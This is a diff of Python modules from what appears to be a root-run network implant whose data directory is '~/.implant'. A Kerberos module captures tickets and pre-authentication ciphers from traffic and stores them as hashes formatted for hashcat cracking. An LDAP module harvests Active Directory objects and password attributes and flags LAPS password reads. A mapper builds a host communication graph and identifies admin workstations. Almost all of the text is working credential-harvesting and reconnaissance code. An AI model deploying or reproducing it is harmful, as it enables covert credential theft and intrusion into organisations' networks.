names = self._extract_string_sequence(name_data)
|
||||
return "/".join(names) if names else ""
|
||||
|
||||
pos = next_pos + length
|
||||
return ""
|
||||
|
||||
def _extract_string_sequence(self, data: bytes) -> list:
|
||||
"""Extract strings from a SEQUENCE OF GeneralString."""
|
||||
result = []
|
||||
seq_offset = self._enter_sequence(data, 0)
|
||||
if seq_offset < 0:
|
||||
return result
|
||||
|
||||
pos = seq_offset
|
||||
while pos < len(data):
|
||||
if pos >= len(data):
|
||||
break
|
||||
tag = data[pos]
|
||||
length, next_pos = self._asn1_length(data, pos + 1)
|
||||
if length < 0 or next_pos + length > len(data):
|
||||
break
|
||||
try:
|
||||
s = data[next_pos:next_pos + length].decode("utf-8", errors="replace")
|
||||
result.append(s)
|
||||
except Exception:
|
||||
pass
|
||||
pos = next_pos + length
|
||||
return result
|
||||
|
||||
def _extract_encrypted_data(self, data: bytes) -> tuple:
|
||||
"""Extract etype and cipher from EncryptedData. Returns (etype, hex_cipher)."""
|
||||
seq_offset = self._enter_sequence(data, 0)
|
||||
if seq_offset < 0:
|
||||
return 0, ""
|
||||
|
||||
etype = 0
|
||||
cipher_hex = ""
|
||||
|
||||
pos = seq_offset
|
||||
while pos < len(data) - 2:
|
||||
ctx_tag = data[pos]
|
||||
if ctx_tag & 0xC0 != 0xA0:
|
||||
break
|
||||
ctx_num = ctx_tag & 0x1F
|
||||
length, next_pos = self._asn1_length(data, pos + 1)
|
||||
if length < 0:
|
||||
break
|
||||
|
||||
ctx_data = data[next_pos:next_pos + length]
|
||||
|
||||
if ctx_num == 0: # etype INTEGER
|
||||
etype = self._read_integer(ctx_data)
|
||||
elif ctx_num == 2: # cipher OCTET STRING
|
||||
if len(ctx_data) >= 2:
|
||||
c_len, c_off = self._asn1_length(ctx_data, 1)
|
||||
if c_len > 0 and c_off + c_len <= len(ctx_data):
|
||||
cipher_hex = ctx_data[c_off:c_off + c_len].hex()
|
||||
|
||||
pos = next_pos + length
|
||||
|
||||
return etype, cipher_hex
|
||||
|
||||
def _extract_ticket_info(self, data: bytes) -> tuple:
|
||||
"""Extract SPN, etype, and enc-part from a Ticket. Returns (spn, etype, cipher_hex)."""
|
||||
# Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno[0], realm[1], sname[2], enc-part[3] }
|
||||
if len(data) < 2:
|
||||
return "", 0, ""
|
||||
|
||||
# Skip application tag
|
||||
if data[0] & 0xE0 == 0x60:
|
||||
_, offset = self._asn1_length(data, 1)
|
||||
else:
|
||||
offset = 0
|
||||
|
||||
seq_offset = self._enter_sequence(data, offset)
|
||||
if seq_offset < 0:
|
||||
return "", 0, ""
|
||||
|
||||
spn = ""
|
||||
etype = 0
|
||||
cipher_hex = ""
|
||||
|
||||
pos = seq_offset
|
||||
while pos < len(data) - 2:
|
||||
ctx_tag = data[pos]
|
||||
if ctx_tag & 0xC0 != 0xA0:
|
||||
break
|
||||
ctx_num = ctx_tag & 0x1F
|
||||
length, next_pos = self._asn1_length(data, pos + 1)
|
||||
if length < 0:
|
||||
break
|
||||
|
||||
ctx_data = data[next_pos:next_pos + length]
|
||||
|
||||
if ctx_num == 2: # sname (PrincipalName)
|
||||
spn = self._extract_principal_name(ctx_data)
|
||||
elif ctx_num == 3: # enc-part (EncryptedData)
|
||||
etype, cipher_hex = self._extract_encrypted_data(ctx_data)
|
||||
|
||||
pos = next_pos + length
|
||||
|
||||
return spn, etype, cipher_hex
|
||||
|
||||
def _extract_padata_enc_timestamp(self, data: bytes) -> tuple:
|
||||
"""Extract PA-ENC-TIMESTAMP from padata sequence. Returns (hex_cipher, etype)."""
|
||||
seq_offset = self._enter_sequence(data, 0)
|
||||
if seq_offset < 0:
|
||||
return "", 0
|
||||
|
||||
pos = seq_offset
|
||||
while pos < len(data) - 2:
|
||||
# Each PA-DATA is a SEQUENCE { padata-type[1], padata-value[2] }
|
||||
if data[pos] != 0x30:
|
||||
break
|
||||
pa_len, pa_off = self._asn1_length(data, pos + 1)
|
||||
if pa_len < 0:
|
||||
break
|
||||
|
||||
pa_data = data[pa_off:pa_off + pa_len]
|
||||
pa_type = 0
|
||||
pa_value = b""
|
||||
|
||||
inner_pos = 0
|
||||
while inner_pos < len(pa_data) - 2:
|
||||
ctx_tag = pa_data[inner_pos]
|
||||
if ctx_tag & 0xC0 != 0xA0:
|
||||
break
|
||||
ctx_num = ctx_tag & 0x1F
|
||||
il, ip = self._asn1_length(pa_data, inner_pos + 1)
|
||||
if il < 0:
|
||||
break
|
||||
|
||||
if ctx_num == 1: # padata-type
|
||||
pa_type = self._read_integer(pa_data[ip:ip + il])
|
||||
elif ctx_num == 2: # padata-value
|
||||
pa_value = pa_data[ip:ip + il]
|
||||
|
||||
inner_pos = ip + il
|
||||
|
||||
if pa_type == 2 and pa_value: # PA-ENC-TIMESTAMP
|
||||
etype, cipher = self._extract_encrypted_data(pa_value)
|
||||
if cipher:
|
||||
return cipher, etype
|
||||
|
||||
pos = pa_off + pa_len
|
||||
|
||||
return "", 0
|
||||
|
||||
def _extract_req_body_info(self, data: bytes) -> tuple:
|
||||
"""Extract realm and cname from KDC-REQ-BODY. Returns (realm, username)."""
|
||||
seq_offset = self._enter_sequence(data, 0)
|
||||
if seq_offset < 0:
|
||||
return "", ""
|
||||
|
||||
realm = ""
|
||||
username = ""
|
||||
|
||||
pos = seq_offset
|
||||
while pos < len(data) - 2:
|
||||
ctx_tag = data[pos]
|
||||
if ctx_tag & 0xC0 != 0xA0:
|
||||
break
|
||||
ctx_num = ctx_tag & 0x1F
|
||||
length, next_pos = self._asn1_length(data, pos + 1)
|
||||
if length < 0:
|
||||
break
|
||||
|
||||
ctx_data = data[next_pos:next_pos + length]
|
||||
|
||||
if ctx_num == 1: # cname
|
||||
username = self._extract_principal_name(ctx_data)
|
||||
elif ctx_num == 2: # realm
|
||||
realm = self._read_string(ctx_data)
|
||||
|
||||
pos = next_pos + length
|
||||
|
||||
return realm, username
|
||||
|
||||
def _read_integer(self, data: bytes) -> int:
|
||||
"""Read an ASN.1 INTEGER value."""
|
||||
if len(data) < 2:
|
||||
return 0
|
||||
tag = data[0]
|
||||
if tag != 0x02:
|
||||
return 0
|
||||
length, offset = self._asn1_length(data, 1)
|
||||
if length < 0 or offset + length > len(data):
|
||||
return 0
|
||||
return int.from_bytes(data[offset:offset + length], "big", signed=True)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Ticket emission
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _emit_ticket(self, ts: float, client_ip: str, dc_ip: str,
|
||||
realm: str, username: str, spn: str,
|
||||
ticket_type: str, hashcat_mode: int,
|
||||
hash_value: str) -> None:
|
||||
self._total_tickets += 1
|
||||
|
||||
record = (ts, client_ip, dc_ip, realm, username, spn,
|
||||
ticket_type, hashcat_mode, hash_value)
|
||||
|
||||
with self._buffer_lock:
|
||||
self._buffer.append(record)
|
||||
if len(self._buffer) >= self.BATCH_SIZE:
|
||||
self._flush_buffer()
|
||||
|
||||
self.bus.emit("TICKET_HARVESTED", {
|
||||
"source_ip": client_ip,
|
||||
"dc_ip": dc_ip,
|
||||
"realm": realm,
|
||||
"username": username,
|
||||
"spn": spn,
|
||||
"ticket_type": ticket_type,
|
||||
"hashcat_mode": hashcat_mode,
|
||||
}, source_module=self.name)
|
||||
|
||||
logger.info(
|
||||
"TICKET: %s %s@%s -> %s (hashcat -m %d)",
|
||||
ticket_type, username, realm, dc_ip, hashcat_mode,
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Buffer flush
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(self.FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("Kerberos flush error")
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._buffer)
|
||||
self._buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
self._db_conn.executemany(
|
||||
"INSERT INTO kerberos_tickets "
|
||||
"(timestamp, source_ip, dc_ip, realm, username, spn, "
|
||||
"ticket_type, hashcat_mode, hash_value) "
|
||||
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)",
|
||||
batch,
|
||||
)
|
||||
self._db_conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to flush %d kerberos tickets", len(batch))
|
||||
@@ -0,0 +1,497 @@
|
||||
#!/usr/bin/env python3
|
||||
"""LDAP query harvester — passive Active Directory object inventory.
|
||||
|
||||
Parses LDAP SearchRequest and SearchResultEntry messages on port 389/3268
|
||||
using BER/ASN.1 decoding. Extracts user objects (sAMAccountName, mail,
|
||||
memberOf), group objects, computer objects, GPOs, SPNs, and detects
|
||||
LAPS password reads (ms-Mcs-AdmPwd attribute access).
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# LDAP protocol tags
|
||||
TAG_SEQUENCE = 0x30
|
||||
TAG_INTEGER = 0x02
|
||||
TAG_OCTET_STRING = 0x04
|
||||
TAG_ENUMERATED = 0x0A
|
||||
TAG_SET = 0x31
|
||||
TAG_BOOLEAN = 0x01
|
||||
|
||||
# LDAP application tags (context-specific constructed)
|
||||
LDAP_SEARCH_REQUEST = 0x63 # APPLICATION[3] CONSTRUCTED
|
||||
LDAP_SEARCH_RESULT_ENTRY = 0x64 # APPLICATION[4] CONSTRUCTED
|
||||
LDAP_SEARCH_RESULT_DONE = 0x65 # APPLICATION[5] CONSTRUCTED
|
||||
|
||||
# Interesting attributes (case-insensitive)
|
||||
INTERESTING_ATTRS = {
|
||||
"samaccountname", "userprincipalname", "mail", "memberof",
|
||||
"distinguishedname", "objectclass", "cn", "name",
|
||||
"serviceprincipalname", "description", "operatingsystem",
|
||||
"dnshostname", "managedby", "gplink", "gpcfilesyspath",
|
||||
"ms-mcs-admpwd", # LAPS password
|
||||
"ms-mcs-admpwdexpirationtime",
|
||||
"unicodepwd", "userpassword",
|
||||
}
|
||||
|
||||
_DB_INIT = """
|
||||
CREATE TABLE IF NOT EXISTS ldap_objects (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
dn TEXT DEFAULT '',
|
||||
object_class TEXT DEFAULT '',
|
||||
sam_account_name TEXT DEFAULT '',
|
||||
attributes_json TEXT DEFAULT '{}',
|
||||
source_ip TEXT NOT NULL
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_ldap_sam ON ldap_objects(sam_account_name);
|
||||
CREATE INDEX IF NOT EXISTS idx_ldap_class ON ldap_objects(object_class);
|
||||
CREATE INDEX IF NOT EXISTS idx_ldap_ts ON ldap_objects(timestamp);
|
||||
"""
|
||||
|
||||
FLUSH_INTERVAL = 45
|
||||
|
||||
|
||||
class LDAPHarvester(BaseModule):
|
||||
"""Passively harvest AD objects from LDAP traffic."""
|
||||
|
||||
name = "ldap_harvester"
|
||||
module_type = "passive"
|
||||
priority = 100
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._read_thread: Optional[threading.Thread] = None
|
||||
self._flush_thread: Optional[threading.Thread] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._write_buffer: list[tuple] = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
self._seen_dns: set = set() # Dedup by DN
|
||||
self._stats = {
|
||||
"packets_processed": 0,
|
||||
"search_requests": 0,
|
||||
"result_entries": 0,
|
||||
"users_found": 0,
|
||||
"groups_found": 0,
|
||||
"computers_found": 0,
|
||||
"spns_found": 0,
|
||||
"laps_reads_detected": 0,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
self._init_db()
|
||||
self._capture_bus = self.config.get("_capture_bus")
|
||||
if self._capture_bus is None:
|
||||
logger.error("LDAPHarvester requires _capture_bus in config")
|
||||
return
|
||||
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="port 389 or port 3268", queue_depth=5000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._read_thread = threading.Thread(
|
||||
target=self._read_loop, daemon=True, name="sensor-ldap-read"
|
||||
)
|
||||
self._read_thread.start()
|
||||
|
||||
self._flush_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-ldap-flush"
|
||||
)
|
||||
self._flush_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("LDAPHarvester started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
for t in (self._read_thread, self._flush_thread):
|
||||
if t and t.is_alive():
|
||||
t.join(timeout=5.0)
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("LDAPHarvester stopped — stats: %s", self._stats)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
**self._stats,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_loop(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, pkt = result
|
||||
self._stats["packets_processed"] += 1
|
||||
try:
|
||||
self._process_packet(pkt, ts)
|
||||
except Exception:
|
||||
logger.debug("Error processing LDAP packet", exc_info=True)
|
||||
|
||||
def _process_packet(self, pkt: bytes, ts: float) -> None:
|
||||
"""Extract TCP payload and parse LDAP messages."""
|
||||
if len(pkt) < 54:
|
||||
return
|
||||
|
||||
ethertype = struct.unpack("!H", pkt[12:14])[0]
|
||||
eth_offset = 14
|
||||
if ethertype == 0x8100:
|
||||
if len(pkt) < 58:
|
||||
return
|
||||
ethertype = struct.unpack("!H", pkt[16:18])[0]
|
||||
eth_offset = 18
|
||||
|
||||
if ethertype != 0x0800:
|
||||
return
|
||||
|
||||
ip_header = pkt[eth_offset:]
|
||||
if len(ip_header) < 20:
|
||||
return
|
||||
ihl = (ip_header[0] & 0x0F) * 4
|
||||
ip_proto = ip_header[9]
|
||||
if ip_proto != 6:
|
||||
return
|
||||
|
||||
src_ip = socket.inet_ntoa(ip_header[12:16])
|
||||
|
||||
if len(ip_header) < ihl + 20:
|
||||
return
|
||||
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
|
||||
payload = ip_header[ihl + tcp_data_off:]
|
||||
|
||||
if len(payload) < 5:
|
||||
return
|
||||
|
||||
self._parse_ldap_messages(payload, src_ip, ts)
|
||||
|
||||
def _parse_ldap_messages(self, data: bytes, src_ip: str, ts: float) -> None:
|
||||
"""Parse one or more LDAP messages from a TCP payload."""
|
||||
pos = 0
|
||||
while pos < len(data) - 2:
|
||||
if data[pos] != TAG_SEQUENCE:
|
||||
break
|
||||
|
||||
msg_len, len_size = self._read_ber_length(data[pos + 1:])
|
||||
if msg_len <= 0:
|
||||
break
|
||||
msg_start = pos + 1 + len_size
|
||||
msg_end = msg_start + msg_len
|
||||
if msg_end > len(data):
|
||||
break
|
||||
|
||||
msg_body = data[msg_start:msg_end]
|
||||
self._parse_ldap_message(msg_body, src_ip, ts)
|
||||
pos = msg_end
|
||||
|
||||
def _parse_ldap_message(self, msg: bytes, src_ip: str, ts: float) -> None:
|
||||
"""Parse a single LDAP message (after outer SEQUENCE)."""
|
||||
if len(msg) < 5:
|
||||
return
|
||||
|
||||
# Message ID (INTEGER)
|
||||
if msg[0] != TAG_INTEGER:
|
||||
return
|
||||
id_len = msg[1]
|
||||
if id_len < 1 or 2 + id_len >= len(msg):
|
||||
return
|
||||
|
||||
op_start = 2 + id_len
|
||||
if op_start >= len(msg):
|
||||
return
|
||||
|
||||
op_tag = msg[op_start]
|
||||
op_len, op_len_size = self._read_ber_length(msg[op_start + 1:])
|
||||
if op_len <= 0:
|
||||
return
|
||||
op_body = msg[op_start + 1 + op_len_size:op_start + 1 + op_len_size + op_len]
|
||||
|
||||
if op_tag == LDAP_SEARCH_REQUEST:
|
||||
self._handle_search_request(op_body, src_ip, ts)
|
||||
elif op_tag == LDAP_SEARCH_RESULT_ENTRY:
|
||||
self._handle_search_result_entry(op_body, src_ip, ts)
|
||||
|
||||
def _handle_search_request(self, body: bytes, src_ip: str, ts: float) -> None:
|
||||
"""Parse SearchRequest for base DN and filter."""
|
||||
self._stats["search_requests"] += 1
|
||||
|
||||
# BaseObject (OCTET STRING)
|
||||
base_dn = self._read_octet_string(body, 0)
|
||||
if base_dn is None:
|
||||
return
|
||||
|
||||
# Check if requesting LAPS password
|
||||
body_str = body.decode("ascii", errors="replace").lower()
|
||||
if "ms-mcs-admpwd" in body_str:
|
||||
self._stats["laps_reads_detected"] += 1
|
||||
logger.warning("LAPS password read detected from %s (base DN: %s)", src_ip, base_dn)
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source": "laps_read",
|
||||
"source_ip": src_ip,
|
||||
"base_dn": base_dn,
|
||||
"detail": "LAPS password attribute requested in LDAP search",
|
||||
})
|
||||
|
||||
def _handle_search_result_entry(self, body: bytes, src_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse SearchResultEntry to extract DN and attributes."""
|
||||
self._stats["result_entries"] += 1
|
||||
|
||||
# ObjectName (OCTET STRING) = DN
|
||||
dn = self._read_octet_string(body, 0)
|
||||
if dn is None:
|
||||
return
|
||||
|
||||
# Skip past the DN OCTET STRING
|
||||
dn_tag_len, _ = self._skip_tlv(body, 0)
|
||||
if dn_tag_len < 0:
|
||||
return
|
||||
|
||||
# Attributes (SEQUENCE OF PartialAttribute)
|
||||
attrs = {}
|
||||
attr_data = body[dn_tag_len:]
|
||||
if len(attr_data) < 2 or attr_data[0] != TAG_SEQUENCE:
|
||||
# May be in a different format
|
||||
pass
|
||||
else:
|
||||
attr_seq_len, attr_len_size = self._read_ber_length(attr_data[1:])
|
||||
attr_body = attr_data[1 + attr_len_size:]
|
||||
self._parse_partial_attributes(attr_body, attr_seq_len, attrs)
|
||||
|
||||
# Classify object
|
||||
object_class = ""
|
||||
sam = attrs.get("samaccountname", "")
|
||||
classes = attrs.get("objectclass", "")
|
||||
classes_lower = classes.lower() if isinstance(classes, str) else ""
|
||||
|
||||
if "user" in classes_lower or "person" in classes_lower:
|
||||
object_class = "user"
|
||||
self._stats["users_found"] += 1
|
||||
elif "group" in classes_lower:
|
||||
object_class = "group"
|
||||
self._stats["groups_found"] += 1
|
||||
elif "computer" in classes_lower:
|
||||
object_class = "computer"
|
||||
self._stats["computers_found"] += 1
|
||||
elif "grouppolicycontainer" in classes_lower:
|
||||
object_class = "gpo"
|
||||
|
||||
# Track SPNs
|
||||
if "serviceprincipalname" in attrs:
|
||||
self._stats["spns_found"] += 1
|
||||
|
||||
# Dedup
|
||||
if dn in self._seen_dns:
|
||||
return
|
||||
self._seen_dns.add(dn)
|
||||
if len(self._seen_dns) > 50000:
|
||||
self._seen_dns.clear()
|
||||
|
||||
# Filter to interesting attributes only
|
||||
filtered_attrs = {
|
||||
k: v for k, v in attrs.items()
|
||||
if k.lower() in INTERESTING_ATTRS
|
||||
}
|
||||
|
||||
self._record_object(ts, dn, object_class, sam, filtered_attrs, src_ip)
|
||||
|
||||
def _parse_partial_attributes(self, data: bytes, max_len: int,
|
||||
attrs: dict) -> None:
|
||||
"""Parse SEQUENCE OF PartialAttribute."""
|
||||
pos = 0
|
||||
while pos < min(len(data), max_len) - 2:
|
||||
if data[pos] != TAG_SEQUENCE:
|
||||
break
|
||||
|
||||
seq_len, seq_len_size = self._read_ber_length(data[pos + 1:])
|
||||
if seq_len <= 0:
|
||||
break
|
||||
|
||||
attr_body = data[pos + 1 + seq_len_size:pos + 1 + seq_len_size + seq_len]
|
||||
self._parse_single_attribute(attr_body, attrs)
|
||||
pos += 1 + seq_len_size + seq_len
|
||||
|
||||
def _parse_single_attribute(self, data: bytes, attrs: dict) -> None:
|
||||
"""Parse a single PartialAttribute (type + SET OF values)."""
|
||||
# AttributeDescription (OCTET STRING)
|
||||
attr_name = self._read_octet_string(data, 0)
|
||||
if attr_name is None:
|
||||
return
|
||||
|
||||
name_total, _ = self._skip_tlv(data, 0)
|
||||
if name_total < 0:
|
||||
return
|
||||
|
||||
# Values (SET OF AttributeValue)
|
||||
val_data = data[name_total:]
|
||||
if len(val_data) < 2 or val_data[0] != TAG_SET:
|
||||
return
|
||||
|
||||
set_len, set_len_size = self._read_ber_length(val_data[1:])
|
||||
if set_len <= 0:
|
||||
return
|
||||
|
||||
set_body = val_data[1 + set_len_size:]
|
||||
values = []
|
||||
vpos = 0
|
||||
while vpos < min(len(set_body), set_len) - 2:
|
||||
val = self._read_octet_string(set_body, vpos)
|
||||
if val is not None:
|
||||
values.append(val)
|
||||
total, _ = self._skip_tlv(set_body, vpos)
|
||||
if total <= 0:
|
||||
break
|
||||
vpos += total
|
||||
|
||||
if len(values) == 1:
|
||||
attrs[attr_name.lower()] = values[0]
|
||||
elif values:
|
||||
attrs[attr_name.lower()] = "; ".join(values)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BER helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _read_ber_length(data: bytes) -> tuple:
|
||||
"""Read BER length. Returns (length, bytes_consumed)."""
|
||||
if not data:
|
||||
return (0, 0)
|
||||
first = data[0]
|
||||
if first < 0x80:
|
||||
return (first, 1)
|
||||
num_bytes = first & 0x7F
|
||||
if num_bytes == 0 or len(data) < 1 + num_bytes:
|
||||
return (0, 0)
|
||||
length = 0
|
||||
for i in range(num_bytes):
|
||||
length = (length << 8) | data[1 + i]
|
||||
return (length, 1 + num_bytes)
|
||||
|
||||
def _read_octet_string(self, data: bytes, offset: int) -> Optional[str]:
|
||||
"""Read an OCTET STRING at offset. Returns decoded string or None."""
|
||||
if offset >= len(data) - 1:
|
||||
return None
|
||||
tag = data[offset]
|
||||
if tag != TAG_OCTET_STRING:
|
||||
return None
|
||||
length, len_size = self._read_ber_length(data[offset + 1:])
|
||||
if length <= 0:
|
||||
return None
|
||||
start = offset + 1 + len_size
|
||||
if start + length > len(data):
|
||||
return None
|
||||
try:
|
||||
return data[start:start + length].decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def _skip_tlv(self, data: bytes, offset: int) -> tuple:
|
||||
"""Skip past a TLV element. Returns (total_bytes, tag)."""
|
||||
if offset >= len(data):
|
||||
return (-1, 0)
|
||||
tag = data[offset]
|
||||
length, len_size = self._read_ber_length(data[offset + 1:])
|
||||
if length < 0:
|
||||
return (-1, 0)
|
||||
total = 1 + len_size + length
|
||||
return (total, tag)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
base = self.config.get("db_dir", os.path.join(
|
||||
os.path.expanduser("~"), ".implant"
|
||||
))
|
||||
return os.path.join(base, "ldap_harvester.db")
|
||||
|
||||
def _init_db(self) -> None:
|
||||
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript(_DB_INIT)
|
||||
self._db_conn.commit()
|
||||
|
||||
def _record_object(self, ts: float, dn: str, object_class: str,
|
||||
sam: str, attrs: dict, src_ip: str) -> None:
|
||||
with self._buffer_lock:
|
||||
self._write_buffer.append((
|
||||
ts, dn, object_class, sam, json.dumps(attrs), src_ip
|
||||
))
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._write_buffer)
|
||||
self._write_buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
with self._db_conn:
|
||||
self._db_conn.executemany(
|
||||
"""INSERT INTO ldap_objects
|
||||
(timestamp, dn, object_class, sam_account_name,
|
||||
attributes_json, source_ip)
|
||||
VALUES (?, ?, ?, ?, ?, ?)""",
|
||||
batch,
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Failed to flush LDAP objects")
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("Flush loop error")
|
||||
@@ -0,0 +1,381 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Network relationship mapper — passive communication graph builder.
|
||||
|
||||
Builds a graph of all observed host-to-host communication with protocol,
|
||||
byte count, and packet count metadata. Identifies roles (servers, clients,
|
||||
admin workstations, printers) and generates Graphviz DOT output. Periodic
|
||||
snapshots for change_detector consumption.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
TCP_PROTO = 6
|
||||
UDP_PROTO = 17
|
||||
|
||||
# Role detection thresholds
|
||||
SERVER_INBOUND_THRESHOLD = 5 # Unique source IPs connecting in
|
||||
CLIENT_OUTBOUND_THRESHOLD = 10 # Unique dest IPs connected to
|
||||
ADMIN_SSH_RDP_THRESHOLD = 3 # Unique SSH/RDP destinations
|
||||
PRINTER_PORT = 9100
|
||||
|
||||
_DB_INIT = """
|
||||
CREATE TABLE IF NOT EXISTS connections (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
src_ip TEXT NOT NULL,
|
||||
dst_ip TEXT NOT NULL,
|
||||
protocol TEXT NOT NULL,
|
||||
port INTEGER NOT NULL,
|
||||
bytes_total INTEGER DEFAULT 0,
|
||||
packets INTEGER DEFAULT 0,
|
||||
first_seen REAL NOT NULL,
|
||||
last_seen REAL NOT NULL,
|
||||
relationship_type TEXT DEFAULT '',
|
||||
UNIQUE(src_ip, dst_ip, protocol, port)
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_conn_src ON connections(src_ip);
|
||||
CREATE INDEX IF NOT EXISTS idx_conn_dst ON connections(dst_ip);
|
||||
"""
|
||||
|
||||
FLUSH_INTERVAL = 45
|
||||
SNAPSHOT_INTERVAL = 300 # 5 minutes
|
||||
|
||||
|
||||
class NetworkMapper(BaseModule):
|
||||
"""Build communication graph from all observed traffic."""
|
||||
|
||||
name = "network_mapper"
|
||||
module_type = "passive"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._read_thread: Optional[threading.Thread] = None
|
||||
self._flush_thread: Optional[threading.Thread] = None
|
||||
self._snapshot_thread: Optional[threading.Thread] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
# In-memory graph: (src_ip, dst_ip, proto, port) -> {bytes, packets, first, last}
|
||||
self._graph: dict[tuple, dict] = {}
|
||||
# Role tracking: ip -> set of connected IPs per direction
|
||||
self._inbound: dict[str, set] = defaultdict(set) # dst -> set(src)
|
||||
self._outbound: dict[str, set] = defaultdict(set) # src -> set(dst)
|
||||
self._ssh_rdp_dests: dict[str, set] = defaultdict(set) # src -> set(dst) for SSH/RDP
|
||||
self._printer_servers: set = set()
|
||||
self._stats = {
|
||||
"packets_processed": 0,
|
||||
"unique_connections": 0,
|
||||
"hosts_seen": 0,
|
||||
"snapshots_taken": 0,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._init_db()
|
||||
self._capture_bus = self.config.get("_capture_bus")
|
||||
if self._capture_bus is None:
|
||||
logger.error("NetworkMapper requires _capture_bus in config")
|
||||
return
|
||||
|
||||
# Subscribe to all traffic
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="", queue_depth=5000
|
||||
)
|
||||
|
||||
